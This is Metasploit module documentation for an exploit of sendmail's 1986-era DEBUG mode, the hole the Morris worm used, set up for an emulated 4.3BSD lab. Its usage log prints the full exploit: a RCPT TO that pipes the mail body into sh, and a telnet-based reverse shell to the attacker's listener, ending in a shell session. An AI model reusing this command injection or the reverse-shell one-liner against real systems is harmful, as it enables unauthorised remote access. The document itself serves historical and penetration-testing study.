metasploit-gs/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md

Intro

This module exploits sendmail's well-known historical debug mode to escape to a shell and execute commands in the SMTP RCPT TO command.

This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.

Setup

A Docker environment for 4.3BSD on VAX is available at https://github.com/wvu/ye-olde-bsd.

For manual setup, please follow the Computer History Wiki's guide or Allen Garvin's guide if you're using Quasijarus.

Targets

Id  Name
--  ----
0   @(#)version.c       5.51 (Berkeley) 5/2/86

Options

RPORT

Set this to the target port. The default is 25 for sendmail, but the port may be forwarded when NAT (SLiRP) is used in SIMH.

PAYLOAD

Set this to a Unix command payload. Currently only cmd/unix/reverse and cmd/unix/generic are supported.

Usage

msf5 exploit(unix/smtp/morris_sendmail_debug) > options

Module options (exploit/unix/smtp/morris_sendmail_debug):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  127.0.0.1        yes       The target address range or CIDR identifier
   RPORT   25               yes       The target port (TCP)


Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.5      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   @(#)version.c       5.51 (Berkeley) 5/2/86


msf5 exploit(unix/smtp/morris_sendmail_debug) > run

[*] Started reverse TCP double handler on 192.168.1.5:4444
[*] 127.0.0.1:25 - Connecting to sendmail
[*] 127.0.0.1:25 - Enabling debug mode and sending exploit
[*] 127.0.0.1:25 - Sending: DEBUG
[*] 127.0.0.1:25 - Sending: MAIL FROM:<GmWE2vWEViR4CLhBWOOOUVSMjJEr2NymDveA>
[*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0">
[*] 127.0.0.1:25 - Sending: DATA
[*] 127.0.0.1:25 - Sending:  PATH=/bin:/usr/bin:/usr/ucb:/etc
[*] 127.0.0.1:25 - Sending: export PATH
[*] 127.0.0.1:25 - Sending: sh -c '(sleep 4197|telnet 192.168.1.5 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.5 4444 >/dev/null 2>&1 &)'
[*] 127.0.0.1:25 - Sending: .
[*] 127.0.0.1:25 - Sending: QUIT
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo zqhqKJD7trW0E0Lp;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "zqhqKJD7trW0E0Lp\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.5:64337) at 2018-10-20 14:08:03 -0500
[!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells!
[!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you

whoami
daemon
cat /etc/motd
4.3 BSD UNIX #1: Fri Jun  6 19:55:29 PDT 1986

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